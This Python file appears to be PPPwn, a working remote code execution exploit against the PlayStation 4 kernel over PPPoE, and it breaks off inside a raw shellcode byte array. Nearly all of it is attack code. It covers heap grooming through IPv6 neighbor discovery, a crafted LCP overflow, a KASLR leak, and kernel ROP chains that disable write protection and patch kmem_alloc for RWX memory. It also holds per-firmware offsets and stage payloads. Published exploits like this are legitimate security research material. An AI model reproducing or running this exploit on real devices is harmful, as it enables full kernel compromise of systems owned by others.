#!/usr/bin/env python3
#
# Copyright (C) 2024 Andy Nguyen
#
# This software may be modified and distributed under the terms
# of the MIT license.  See the LICENSE file for details.

from argparse import ArgumentParser
from scapy.all import *
from scapy.layers.ppp import *
from struct import pack, unpack
from sys import exit
from time import sleep
from offsets import *

# PPPoE constants

PPPOE_TAG_HUNIQUE = 0x0103
PPPOE_TAG_ACOOKIE = 0x0104

PPPOE_CODE_PADI = 0x09
PPPOE_CODE_PADO = 0x07
PPPOE_CODE_PADR = 0x19
PPPOE_CODE_PADS = 0x65
PPPOE_CODE_PADT = 0xa7

ETHERTYPE_PPPOEDISC = 0x8863
ETHERTYPE_PPPOE = 0x8864

CONF_REQ = 1
CONF_ACK = 2
CONF_NAK = 3
CONF_REJ = 4
ECHO_REQ = 9
ECHO_REPLY = 10

# FreeBSD constants

NULL = 0

PAGE_SIZE = 0x4000

IDT_UD = 6
SDT_SYSIGT = 14
SEL_KPL = 0

CR0_PE = 0x00000001
CR0_MP = 0x00000002
CR0_EM = 0x00000004
CR0_TS = 0x00000008
CR0_ET = 0x00000010
CR0_NE = 0x00000020
CR0_WP = 0x00010000
CR0_AM = 0x00040000
CR0_NW = 0x20000000
CR0_CD = 0x40000000
CR0_PG = 0x80000000

CR0_ORI = CR0_PG | CR0_AM | CR0_WP | CR0_NE | CR0_ET | CR0_TS | CR0_MP | CR0_PE

VM_PROT_READ = 0x01
VM_PROT_WRITE = 0x02
VM_PROT_EXECUTE = 0x04

VM_PROT_ALL = (VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE)

LLE_STATIC = 0x0002
LLE_LINKED = 0x0040
LLE_EXCLUSIVE = 0x2000

LO_INITIALIZED = 0x00010000
LO_WITNESS = 0x00020000
LO_UPGRADABLE = 0x00200000
LO_DUPOK = 0x00400000

LO_CLASSSHIFT = 24

RW_UNLOCKED = 1
MTX_UNOWNED = 4

RW_INIT_FLAGS = ((4 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS |
                 LO_UPGRADABLE)
MTX_INIT_FLAGS = ((1 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS)

CALLOUT_RETURNUNLOCKED = 0x10

AF_INET6 = 28

IFT_ETHER = 0x6

ND6_LLINFO_NOSTATE = 0xfffe

# FreeBSD offsets

TARGET_SIZE = 0x100

PPPOE_SOFTC_SC_DEST = 0x24
PPPOE_SOFTC_SC_AC_COOKIE = 0x40
PPPOE_SOFTC_SIZE = 0x1c8

LLTABLE_LLTIFP = 0x110
LLTABLE_LLTFREE = 0x118

SOCKADDR_IN6_SIZE = 0x1c


def p8(val):
    return pack('<B', val & 0xff)


def p16(val):
    return pack('<H', val & 0xffff)


def p16be(val):
    return pack('>H', val & 0xffff)


def p32(val):
    return pack('<I', val & 0xffffffff)


def p32be(val):
    return pack('>I', val & 0xffffffff)


def p64(val):
    return pack('<Q', val & 0xffffffffffffffff)


def p64be(val):
    return pack('>Q', val & 0xffffffffffffffff)


class LcpEchoHandler(AsyncSniffer):

    def __init__(self, iface):
        self.s = conf.L2socket(iface=iface)
        super().__init__(opened_socket=self.s,
                         prn=self.handler,
                         filter='pppoes && !ip',
                         lfilter=lambda pkt: pkt.haslayer(PPP_LCP_Echo))

    def handler(self, pkt):
        self.s.send(
            Ether(src=pkt[Ether].dst, dst=pkt[Ether].src, type=ETHERTYPE_PPPOE)
            / PPPoE(sessionid=pkt[PPPoE].sessionid) / PPP() /
            PPP_LCP_Echo(code=ECHO_REPLY, id=pkt[PPP_LCP_Echo].id))


class Exploit():
    SPRAY_NUM = 0x1000
    PIN_NUM = 0x1000
    CORRUPT_NUM = 0x1

    HOLE_START = 0x400
    HOLE_SPACE = 0x10

    LCP_ID = 0x41
    IPCP_ID = 0x41

    SESSION_ID = 0xffff

    STAGE2_PORT = 9020

    SOURCE_IPV4 = '192.168.2.1'
    TARGET_IPV4 = '192.168.2.2'
    BPF_FILTER = '(ip6) || (pppoed) || (pppoes && !ip)'

    def __init__(self, offs, iface, ipva, pload):
        self.offs = offs
        self.iface = iface
        self.STAGE2 = pload
        self.s = conf.L2socket(iface=self.iface, filter=self.BPF_FILTER)
        self.SOURCE_IPV6 = ipva
        self.PARTIAL_IPV6 = self.SOURCE_IPV6[self.SOURCE_IPV6.find('::')+7:]
        self.TYPE_IPV6 = self.SOURCE_IPV6[:self.SOURCE_IPV6.find('::')+2]
        self.UINT_IPV6 = int(self.SOURCE_IPV6[self.SOURCE_IPV6.find('::')+2:].replace(':', ''), 16)
        ipv6Parts = ipva.split(":")
        macParts = []
        for ipv6Part in ipv6Parts[-4:]:
            while len(ipv6Part) < 4:
                ipv6Part = "0" + ipv6Part
            macParts.append(ipv6Part[:2])
            macParts.append(ipv6Part[-2:])
        macParts[0] = "%02x" % (int(macParts[0], 16) ^ 2)
        del macParts[4]
        del macParts[3]
        self.SOURCE_MAC = ":".join(macParts)
        self.UINT_MAC = int(self.SOURCE_MAC.replace(':', ''), 16)


    def kdlsym(self, addr):
        return self.kaslr_offset + addr

    def lcp_negotiation(self):
        print('[*] Sending LCP configure request...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
            PPP() / PPP_LCP(code=CONF_REQ, id=self.LCP_ID))

        print('[*] Waiting for LCP configure ACK...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[
                    PPP_LCP_Configure].code == CONF_ACK:
                break

        print('[*] Waiting for LCP configure request...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[
                    PPP_LCP_Configure].code == CONF_REQ:
                break

        print('[*] Sending LCP configure ACK...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
            PPP() / PPP_LCP(code=CONF_ACK, id=pkt[PPP_LCP_Configure].id))

    def ipcp_negotiation(self):
        print('[*] Sending IPCP configure request...')
        self.s.send(
            Ether(
                src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE)
            / PPPoE(sessionid=self.SESSION_ID) / PPP() /
            PPP_IPCP(code=CONF_REQ,
                     id=self.IPCP_ID,
                     options=PPP_IPCP_Option_IPAddress(data=self.SOURCE_IPV4)))

        print('[*] Waiting for IPCP configure ACK...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    PPP_IPCP) and pkt[PPP_IPCP].code == CONF_ACK:
                break

        print('[*] Waiting for IPCP configure request...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ:
                break

        print('[*] Sending IPCP configure NAK...')
        self.s.send(
            Ether(
                src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE)
            / PPPoE(sessionid=self.SESSION_ID) / PPP() /
            PPP_IPCP(code=CONF_NAK,
                     id=pkt[PPP_IPCP].id,
                     options=PPP_IPCP_Option_IPAddress(data=self.TARGET_IPV4)))

        print('[*] Waiting for IPCP configure request...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ:
                break

        print('[*] Sending IPCP configure ACK...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
            PPP() / PPP_IPCP(code=CONF_ACK,
                             id=pkt[PPP_IPCP].id,
                             options=pkt[PPP_IPCP].options))

    def ppp_negotation(self, cb=None, ignore_initial_req=False):
        if ignore_initial_req:
            print('[*] Waiting for PADI...')
            while True:
                pkt = self.s.recv()
                if pkt and pkt.haslayer(
                        PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI:
                    break

        print('[*] Waiting for PADI...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI:
                break

        for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
            if tag.tag_type == PPPOE_TAG_HUNIQUE:
                host_uniq = tag.tag_value

        self.pppoe_softc = unpack('<Q', host_uniq)[0]
        print('[+] pppoe_softc: {}'.format(hex(self.pppoe_softc)))

        self.target_mac = pkt[Ether].src
        print('[+] Target MAC: {}'.format(self.target_mac))

        self.source_mac = self.SOURCE_MAC

        if cb:
            ac_cookie = cb()
        else:
            ac_cookie = b''
        print('[+] AC cookie length: {}'.format(hex(len(ac_cookie))))

        print('[*] Sending PADO...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOEDISC) / PPPoED(code=PPPOE_CODE_PADO) /
            PPPoETag(tag_type=PPPOE_TAG_ACOOKIE, tag_value=ac_cookie) /
            PPPoETag(tag_type=PPPOE_TAG_HUNIQUE, tag_value=host_uniq))

        print('[*] Waiting for PADR...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADR:
                break

        print('[*] Sending PADS...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOEDISC) /
            PPPoED(code=PPPOE_CODE_PADS, sessionid=self.SESSION_ID) /
            PPPoETag(tag_type=PPPOE_TAG_HUNIQUE, tag_value=host_uniq))

    def build_fake_ifnet(self):
        # Leak address
        # Upper bytes are encoded with SESSION_ID
        planted = (self.pppoe_softc + 0x07) & 0xffffffffffff
        self.source_mac = str2mac(planted.to_bytes(6, byteorder='little'))
        print('[+] Source MAC: {}'.format(self.source_mac))

        # Fake ifnet
        fake_ifnet = bytearray()

        fake_ifnet += b'A' * (0x48 - len(fake_ifnet))
        fake_ifnet += p64(NULL)  # if_addrhead
        fake_ifnet += b'A' * (0x70 - len(fake_ifnet))
        fake_ifnet += p16(0x0001)  # if_index
        fake_ifnet += b'A' * (0xa0 - len(fake_ifnet))
        fake_ifnet += p8(IFT_ETHER)  # ifi_type
        fake_ifnet += p8(0)  # ifi_physical
        fake_ifnet += p8(0x8 + 0x1)  # ifi_addrlen
        fake_ifnet += b'A' * (0x1b8 - len(fake_ifnet))
        fake_ifnet += p64(self.pppoe_softc + PPPOE_SOFTC_SC_DEST)  # if_addr
        fake_ifnet += b'A' * (0x428 - len(fake_ifnet))
        fake_ifnet += p64(self.pppoe_softc + 0x10 - 0x8)  # nd_ifinfo

        # if_afdata_lock
        fake_ifnet += b'A' * (0x480 - len(fake_ifnet))
        fake_ifnet += p64(NULL)  # lo_name
        fake_ifnet += p32(RW_INIT_FLAGS)  # lo_flags
        fake_ifnet += p32(0)  # lo_data
        fake_ifnet += p64(NULL)  # lo_witness
        fake_ifnet += p64(RW_UNLOCKED)  # rw_lock

        # if_addr_mtx
        fake_ifnet += b'A' * (0x4c0 - len(fake_ifnet))
        fake_ifnet += p64(NULL)  # lo_name
        fake_ifnet += p32(MTX_INIT_FLAGS)  # lo_flags
        fake_ifnet += p32(0)  # lo_data
        fake_ifnet += p64(NULL)  # lo_witness
        fake_ifnet += p64(MTX_UNOWNED)  # mtx_lock

        return fake_ifnet

    def build_overflow_lle(self):
        # Fake in6_llentry
        overflow_lle = bytearray()

        # lle_next
        overflow_lle += p64(self.pppoe_softc +
                            PPPOE_SOFTC_SC_AC_COOKIE)  # le_next
        overflow_lle += p64(NULL)  # le_prev

        # lle_lock
        overflow_lle += p64(NULL)  # lo_name
        overflow_lle += p32(RW_INIT_FLAGS | LO_DUPOK)  # lo_flags
        overflow_lle += p32(0)  # lo_data
        overflow_lle += p64(NULL)  # lo_witness
        overflow_lle += p64(RW_UNLOCKED)  # rw_lock

        overflow_lle += p64(self.pppoe_softc + PPPOE_SOFTC_SC_AC_COOKIE -
                            LLTABLE_LLTIFP)  # lle_tbl
        overflow_lle += p64(NULL)  # lle_head
        overflow_lle += p64(NULL)  # lle_free
        overflow_lle += p64(NULL)  # la_hold
        overflow_lle += p32(0)  # la_numheld
        overflow_lle += p32(0)  # pad
        overflow_lle += p64(0)  # la_expire
        overflow_lle += p16(LLE_EXCLUSIVE)  # la_flags
        overflow_lle += p16(0)  # la_asked
        overflow_lle += p16(0)  # la_preempt
        overflow_lle += p16(0)  # ln_byhint
        overflow_lle += p16(ND6_LLINFO_NOSTATE)  # ln_state
        overflow_lle += p16(0)  # ln_router
        overflow_lle += p32(0)  # pad
        overflow_lle += p64(0x7fffffffffffffff)  # ln_ntick

        return overflow_lle

    def build_fake_lle(self):
        # First gadget - must be a valid MAC address
        # Upper bytes are encoded with SESSION_ID
        planted = self.kdlsym(self.offs.FIRST_GADGET) & 0xffffffffffff
        self.source_mac = str2mac(planted.to_bytes(6, byteorder='little'))
        print('[+] Source MAC: {}'.format(self.source_mac))

        # Fake in6_llentry
        fake_lle = bytearray()

        # lle_next
        # Third gadget
        fake_lle += p64(
            self.kdlsym(self.offs.POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10)
        )  # le_next
        fake_lle += p64(NULL)  # le_prev

        # lle_lock
        # Fourth gadget
        fake_lle += p64(self.kdlsym(
            self.offs.LEA_RSP_RSI_20_REPZ_RET))  # lo_name
        fake_lle += p32(RW_INIT_FLAGS | LO_DUPOK)  # lo_flags
        fake_lle += p32(0)  # lo_data
        # Fifth gadget
        fake_lle += p64(self.kdlsym(
            self.offs.ADD_RSP_B0_POP_RBP_RET))  # lo_witness
        fake_lle += p64(RW_UNLOCKED)  # rw_lock

        fake_lle += p64(self.pppoe_softc + PPPOE_SOFTC_SC_DEST -
                        LLTABLE_LLTFREE)  # lle_tbl
        fake_lle += p64(NULL)  # lle_head
        fake_lle += p64(NULL)  # lle_free
        fake_lle += p64(NULL)  # la_hold
        fake_lle += p32(0)  # la_numheld
        fake_lle += p32(0)  # pad
        fake_lle += p64(0)  # la_expire
        fake_lle += p16(LLE_STATIC | LLE_EXCLUSIVE)  # la_flags
        fake_lle += p16(0)  # la_asked
        fake_lle += p16(0)  # la_preempt
        fake_lle += p16(0)  # ln_byhint
        fake_lle += p16(ND6_LLINFO_NOSTATE)  # ln_state
        fake_lle += p16(0)  # ln_router
        fake_lle += p32(0)  # pad
        fake_lle += p64(0x7fffffffffffffff)  # ln_ntick
        fake_lle += p32(0)  # lle_refcnt
        fake_lle += p32(0)  # pad
        fake_lle += p64be(self.UINT_MAC)  # ll_addr

        # lle_timer
        fake_lle += p64(0)  # sle
        fake_lle += p64(0)  # tqe
        fake_lle += p32(0)  # c_time
        fake_lle += p32(0)  # pad
        fake_lle += p64(NULL)  # c_arg
        fake_lle += p64(NULL)  # c_func
        fake_lle += p64(NULL)  # c_lock
        fake_lle += p32(CALLOUT_RETURNUNLOCKED)  # c_flags
        fake_lle += p32(0)  # c_cpu

        # l3_addr6
        fake_lle += p8(SOCKADDR_IN6_SIZE)  # sin6_len
        fake_lle += p8(AF_INET6)  # sin6_family
        fake_lle += p16(0)  # sin6_port
        fake_lle += p32(0)  # sin6_flowinfo
        # sin6_addr
        fake_lle += p64be(0xfe80000100000000)
        fake_lle += p64be(self.UINT_IPV6)
        
        fake_lle += p32(0)  # sin6_scope_id

        # pad
        fake_lle += p32(0)

        # Second gadget
        fake_lle[self.offs.SECOND_GADGET_OFF:(
            self.offs.SECOND_GADGET_OFF + 8)] = p64(
                self.kdlsym(self.offs.PUSH_RBP_JMP_QWORD_PTR_RSI))

        # Second ROP chain
        rop2 = self.build_second_rop()

        # First ROP chain
        rop = self.build_first_rop(fake_lle, rop2)

        return fake_lle + rop + rop2 + self.offs.STAGE1

    def build_first_rop(self, fake_lle, rop2):
        rop = bytearray()

        # memcpy(RBX - 0x800, rop2, len(rop2 + stage1))

        # RDI = RBX - 0x800
        rop += p64(self.kdlsym(self.offs.POP_R12_RET))
        rop += p64(self.kdlsym(self.offs.POP_RBP_RET))
        rop += p64(self.kdlsym(self.offs.MOV_RDI_RBX_CALL_R12))
        rop += p64(self.kdlsym(self.offs.POP_RCX_RET))
        rop += p64(-0x800)
        rop += p64(self.kdlsym(self.offs.ADD_RDI_RCX_RET))

        # RSI += len(fake_lle + rop)
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop_off_fixup = len(rop)
        rop += p64(0xDEADBEEF)
        rop += p64(self.kdlsym(self.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET))
        rop += p64(0xDEADBEEF)

        # RDX = len(rop2 + stage1)
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop += p64(len(rop2 + self.offs.STAGE1))

        # Call memcpy
        rop += p64(self.kdlsym(self.offs.MEMCPY))

        # Stack pivot
        rop += p64(self.kdlsym(self.offs.POP_RAX_RET))
        rop += p64(self.kdlsym(self.offs.POP_RBP_RET))
        rop += p64(self.kdlsym(self.offs.MOV_RSI_RBX_CALL_RAX))
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop += p64(0x800 + 0x20)
        rop += p64(self.kdlsym(self.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET))
        rop += p64(0xDEADBEEF)
        rop += p64(self.kdlsym(self.offs.LEA_RSP_RSI_20_REPZ_RET))

        # Fixup offset of rop2
        rop[rop_off_fixup:rop_off_fixup + 8] = p64(-len(fake_lle + rop))

        return rop

    def build_second_rop(self):
        rop = bytearray()

        # setidt(IDT_UD, handler, SDT_SYSIGT, SEL_KPL, 0)
        rop += p64(self.kdlsym(self.offs.POP_RDI_RET))
        rop += p64(IDT_UD)
        rop += p64(self.kdlsym(self.offs.POP_RSI_RET))
        rop += p64(self.kdlsym(self.offs.ADD_RSP_28_POP_RBP_RET))
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop += p64(SDT_SYSIGT)
        rop += p64(self.kdlsym(self.offs.POP_RCX_RET))
        rop += p64(SEL_KPL)
        rop += p64(self.kdlsym(self.offs.POP_R8_POP_RBP_RET))
        rop += p64(0)
        rop += p64(0xDEADBEEF)
        rop += p64(self.kdlsym(self.offs.SETIDT))

        # Disable write protection
        rop += p64(self.kdlsym(self.offs.POP_RSI_RET))
        rop += p64(CR0_ORI & ~CR0_WP)
        rop += p64(self.kdlsym(self.offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET))

        # Enable RWX in kmem_alloc
        rop += p64(self.kdlsym(self.offs.POP_RAX_RET))
        rop += p64(VM_PROT_ALL)
        rop += p64(self.kdlsym(self.offs.POP_RCX_RET))
        rop += p64(self.kdlsym(self.offs.KMEM_ALLOC_PATCH1))
        rop += p64(self.kdlsym(self.offs.MOV_BYTE_PTR_RCX_AL_RET))
        rop += p64(self.kdlsym(self.offs.POP_RCX_RET))
        rop += p64(self.kdlsym(self.offs.KMEM_ALLOC_PATCH2))
        rop += p64(self.kdlsym(self.offs.MOV_BYTE_PTR_RCX_AL_RET))

        # Restore write protection
        rop += p64(self.kdlsym(self.offs.POP_RSI_RET))
        rop += p64(CR0_ORI)
        rop += p64(self.kdlsym(self.offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET))

        # kmem_alloc(*kernel_map, PAGE_SIZE)

        # RDI = *kernel_map
        rop += p64(self.kdlsym(self.offs.POP_RAX_RET))
        rop += p64(self.kdlsym(self.offs.RET))
        rop += p64(self.kdlsym(self.offs.POP_RDI_RET))
        rop += p64(self.kdlsym(self.offs.KERNEL_MAP))
        rop += p64(self.kdlsym(self.offs.MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX))
        rop += p64(0xDEADBEEF)

        # RSI = PAGE_SIZE
        rop += p64(self.kdlsym(self.offs.POP_RSI_RET))
        rop += p64(PAGE_SIZE)

        # Call kmem_alloc
        rop += p64(self.kdlsym(self.offs.KMEM_ALLOC))

        # R14 = RAX
        rop += p64(self.kdlsym(self.offs.POP_R8_POP_RBP_RET))
        rop += p64(self.kdlsym(self.offs.POP_RBP_RET))
        rop += p64(0xDEADBEEF)
        rop += p64(self.kdlsym(self.offs.MOV_R14_RAX_CALL_R8))

        # memcpy(R14, stage1, len(stage1))

        # RDI = R14
        rop += p64(self.kdlsym(self.offs.POP_R12_RET))
        rop += p64(self.kdlsym(self.offs.POP_RBP_RET))
        rop += p64(self.kdlsym(self.offs.MOV_RDI_R14_CALL_R12))

        # RSI = RSP + len(rop) - rop_rsp_pos
        rop += p64(self.kdlsym(self.offs.PUSH_RSP_POP_RSI_RET))
        rop_rsp_pos = len(rop)
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop_off_fixup = len(rop)
        rop += p64(0xDEADBEEF)
        rop += p64(self.kdlsym(self.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET))
        rop += p64(0xDEADBEEF)

        # RDX = len(stage1)
        rop += p64(self.kdlsym(self.offs.POP_RDX_RET))
        rop += p64(len(self.offs.STAGE1))

        # Call memcpy
        rop += p64(self.kdlsym(self.offs.MEMCPY))

        # Jump into stage1
        rop += p64(self.kdlsym(self.offs.JMP_R14))

        # Fixup offset of stage1
        rop[rop_off_fixup:rop_off_fixup + 8] = p64(-(len(rop) - rop_rsp_pos))

        return rop

    def run(self):
        lcp_echo_handler = LcpEchoHandler(self.iface)
        lcp_echo_handler.start()

        print('')
        print('[+] STAGE 0: Initialization')

        self.ppp_negotation(self.build_fake_ifnet)
        self.lcp_negotiation()
        self.ipcp_negotiation()

        print('[*] Waiting for interface to be ready...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(ICMPv6ND_RS):
                break

        self.target_ipv6 = pkt[IPv6].src
        print('[+] Target IPv6: {}'.format(self.target_ipv6))
        

        for i in range(self.SPRAY_NUM):
            if i % 0x100 == 0:
                print('[*] Heap grooming...{}%'.format(100 * i //self.SPRAY_NUM),end='\r',flush=True)

            source_ipv6 = str(self.TYPE_IPV6+'{:04x}:'+self.PARTIAL_IPV6).format(i)

            self.s.send(
                Ether(src=self.source_mac, dst=self.target_mac) /
                IPv6(src=source_ipv6, dst=self.target_ipv6) /
                ICMPv6EchoRequest())

            while True:
                pkt = self.s.recv()
                if pkt and pkt.haslayer(ICMPv6ND_NS):
                    break

            if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
                continue

            self.s.send(
                Ether(src=self.source_mac, dst=self.target_mac) /
                IPv6(src=source_ipv6, dst=self.target_ipv6) /
                ICMPv6ND_NA(tgt=source_ipv6, S=1) /
                ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))

        print('[+] Heap grooming...done')

        print('')
        print('[+] STAGE 1: Memory corruption')

        # Use an invalid proto enum to trigger a #printf in the kernel. For
        # some reason, this causes scheduling on CPU 0 at some point, which
        # makes the next allocation use the same per-CPU cache.
        for i in range(self.PIN_NUM):
            if i % 0x100 == 0:
                print('[*] Pinning to CPU 0...{}%'.format(100 * i //self.PIN_NUM),end='\r',flush=True)

            self.s.send(
                Ether(src=self.source_mac,
                      dst=self.target_mac,
                      type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
                PPP(proto=0x4141))
            self.s.recv()
            sleep(0.0005)

        print('[+] Pinning to CPU 0...done')

        # LCP fails sometimes without the wait
        sleep(0.5)

        # Corrupt in6_llentry object
        overflow_lle = self.build_overflow_lle()
        print('[*] Sending malicious LCP configure request...')
        for i in range(self.CORRUPT_NUM):
            self.s.send(
                Ether(src=self.source_mac,
                      dst=self.target_mac,
                      type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
                PPP() / PPP_LCP(code=CONF_REQ,
                                id=self.LCP_ID,
                                len=TARGET_SIZE + 4,
                                data=(PPP_LCP_Option(data=b'A' *
                                                     (TARGET_SIZE - 4)) /
                                      PPP_LCP_Option(data=overflow_lle))))

        print('[*] Waiting for LCP configure reject...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[
                    PPP_LCP_Configure].code == CONF_REJ:
                break

        # Re-negotiate after rejection
        self.lcp_negotiation()
        self.ipcp_negotiation()

        corrupted = False
        for i in reversed(range(self.SPRAY_NUM)):
            if i % 0x100 == 0:
                print('[*] Scanning for corrupted object...{}'.format(hex(i)),end='\r',flush=True)

            if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
                continue

            source_ipv6 = str(self.TYPE_IPV6+'{:04x}:'+self.PARTIAL_IPV6).format(i)

            self.s.send(
                Ether(src=self.source_mac, dst=self.target_mac) /
                IPv6(src=source_ipv6, dst=self.target_ipv6) /
                ICMPv6EchoRequest())

            while True:
                pkt = self.s.recv()
                if pkt:
                    if pkt.haslayer(ICMPv6EchoReply):
                        break
                    elif pkt.haslayer(ICMPv6ND_NS):
                        corrupted = True
                        break

            if corrupted:
                break

            self.s.send(
                Ether(src=self.source_mac, dst=self.target_mac) /
                IPv6(src=source_ipv6, dst=self.target_ipv6) /
                ICMPv6ND_NA(tgt=source_ipv6, S=1) /
                ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))

        if not corrupted:
            print('[-] Scanning for corrupted object...failed. Please retry.')
            exit(1)

        print('[+] Scanning for corrupted object...found {}'.format(source_ipv6))

        print('')
        print('[+] STAGE 2: KASLR defeat')

        print('[*] Defeating KASLR...')
        while True:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(
                    ICMPv6NDOptSrcLLAddr) and pkt[ICMPv6NDOptSrcLLAddr].len > 1:
                break

        self.pppoe_softc_list = unpack('<Q', bytes(pkt[IPv6])[0x43:0x4b])[0]
        print('[+] pppoe_softc_list: {}'.format(hex(self.pppoe_softc_list)))

        self.kaslr_offset = self.pppoe_softc_list - self.offs.PPPOE_SOFTC_LIST
        print('[+] kaslr_offset: {}'.format(hex(self.kaslr_offset)))

        if (self.pppoe_softc_list & 0xffffffff00000fff
                != self.offs.PPPOE_SOFTC_LIST & 0xffffffff00000fff):
            print('[-] Error leak is invalid. Wrong firmware?')
            exit(1)

        print('')
        print('[+] STAGE 3: Remote code execution')

        print('[*] Sending LCP terminate request...')
        self.s.send(
            Ether(
                src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE)
            / PPPoE(sessionid=self.SESSION_ID) / PPP() / PPP_LCP_Terminate())

        self.ppp_negotation(self.build_fake_lle)

        print('[*] Triggering code execution...')
        self.s.send(
            Ether(src=self.source_mac, dst=self.target_mac) /
            IPv6(src=self.SOURCE_IPV6, dst=self.target_ipv6) /
            ICMPv6EchoRequest())

        print('[*] Waiting for stage1 to resume...')
        count = 0
        while count < 3:
            pkt = self.s.recv()
            if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[
                    PPP_LCP_Configure].code == CONF_REQ:
                count += 1

        print('[*] Sending PADT...')
        self.s.send(
            Ether(src=self.source_mac,
                  dst=self.target_mac,
                  type=ETHERTYPE_PPPOEDISC) /
            PPPoED(code=PPPOE_CODE_PADT, sessionid=self.SESSION_ID))

        self.ppp_negotation()
        self.lcp_negotiation()
        self.ipcp_negotiation()

        print('')
        print('[+] STAGE 4: Arbitrary payload execution')

        print('[*] Sending stage2 payload...')
        frags = fragment(
            IP(src=self.SOURCE_IPV4, dst=self.TARGET_IPV4) /
            UDP(dport=self.STAGE2_PORT) / self.STAGE2, 1024)

        for frag in frags:
            self.s.send(Ether(src=self.source_mac, dst=self.target_mac) / frag)

        print('[+] Done!')



def main():
    parser = ArgumentParser('pppwn.py')
    parser.add_argument('--interface', required=True)
    parser.add_argument('--fw',
                        choices=[
                            '700','701','702','750', '751', '755',
                            '800', '801', '803', '850', '852',
                            '900', '903', '904', '950', '951', '960',
                            '1000', '1001', '1050', '1070', '1071',
                            '1100'
                        ],
                        default='1100')
    parser.add_argument('--ipv', default='fe80::9f9f:41ff:9f9f:41ff')
    parser.add_argument('--gh', default='1')
    args = parser.parse_args()

    print('[+] PPPwn - PlayStation 4 PPPoE RCE by theflow')
    print('[+] args: ' + ' '.join(f'{k}={v}' for k, v in vars(args).items()))

    if args.fw in ('700', '701', '702'):
        offs = OffsetsFirmware_700_702()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,216,225,19,1,72,137,70,48,72,139,130,144,85,44,2,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,24,131,180,1,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,160,11,38,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133